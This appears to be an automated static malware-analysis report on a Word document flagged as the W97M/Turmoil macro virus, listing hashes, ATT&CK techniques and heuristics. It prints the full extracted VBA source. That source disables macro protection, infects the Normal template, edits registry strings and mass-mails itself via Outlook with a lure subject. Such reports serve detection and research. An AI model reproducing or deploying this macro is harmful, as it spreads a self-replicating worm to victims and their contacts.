W97M/Turmoil — Office (OLE) malware analysis

Static analysis result for SHA-256 8fbcc18bbb2eb2fb…

MALICIOUS

Office (OLE)

33.5 KB Created: 2003-02-18 22:41:00 Authoring application: Microsoft Word 9.0 First seen: 2012-10-11
MD5: 1e35566c13f52044ee99a4c4173e5ce9 SHA-1: 8fc994e162925d619c31aa5f1bcaf06e8b630d08 SHA-256: 8fbcc18bbb2eb2fb7583c3c676baaa4afd4a0f7689c00db4a08f89d1b2513bac
208 Risk Score

Malware Insights

W97M/Turmoil · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains a VBA macro within a Document_Open subroutine, which is a common technique for malicious documents. This macro attempts to write a file to 'c:\turmoil.vxd' and potentially execute it, while also modifying registry keys related to international settings. The ClamAV signature 'Doc.Trojan.Turmol-1' strongly suggests the W97M/Turmoil family, known for its macro-based infection capabilities.

Heuristics 5

  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 34,304 bytes but its declared streams total only 16,490 bytes — 17,814 bytes (52%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ActiveDocument.SaveAs = "c:\turmoil.doc"
Set outapp = CreateObject("outlook.application")
Set mapi = a.GetNameSpace("MAPI")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub document_open()
On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2079 bytes
SHA-256: 5f86bdb02b900dc2d09b946e85ed10898aee97fcdc1173835e36a88ff9d9fbb2
Detection
ClamAV: Doc.Trojan.Turmol-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open()
On Error Resume Next

With Options
.VirusProtection = 0
.SaveNormalPrompt = 0
.ConfirmConversions = 0
End With
With Application
.EnableCancelKey = wdCancelDisabled
.ScreenUpdating = 0
.DisplayAlerts = wdAlertsNone
.DisplayStatusBar = 0
End With

Set norm = NormalTemplate.VBProject.VBComponents
Set adoc = ActiveDocument.VBProject.VBComponents
Const virii = "W97M/Turmoil"

Open "c:\turmoil.vxd" For Output As #1
Print #1, Application.VBE.ActiveVBProject.VBComponents.Item(1).codemodule.lines(1, Application.VBE.ActiveVBProject.VBComponents.Item(1).codemodule.CountOfLines)
Close #1

If norm.Item(1).codemodule.lines(72, 1) <> "'w97m/turmoil" Then
norm.Item(1).codemodule.AddFromFile ("c:\turmoil.vxd")
End If
If adoc.Item(1).codemodule.lines(72, 1) <> "w97m/turmoil" Then
adoc.Item(1).codemodule.AddFromFile ("c:\turmoil.vxd")
End If

turmoil = Int(Rnd(13) + 1)
If turmoil = 13 Then
System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\CONTROL PANEL\INTERNATIONAL", "s1159") = "Turmoil"
System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\CONTROL PANEL\INTERNATIONAL", "s2359") = "Turmoil"
End If

ActiveDocument.SaveAs = "c:\turmoil.doc"
Set outapp = CreateObject("outlook.application")
Set mapi = a.GetNameSpace("MAPI")
If outapp = "Outlook" Then
mapi.Logon "profile", "password"
For x = 1 To mapi.AddressLists.Count
Set y = mapi.AddressLists(y)
x = 1
Set tml = outapp.CreateItem(0)
For xx = 1 To d.AddressEntries.Count
e = y.AddressEntries(x)
tml.Recipients.Add e
x = x + 1
If x > 101 Then xx = y.AddressEntries.Count
Next xx
tml.Subject = "hello"
tml.Body = ".click to see the naked truth!"
tml.attachments.Add "c:\turmoil.doc", 1, 1, "truth.jpg"
tml.Send
e = ""
Next y
mapi.Logoff
End If

End Sub

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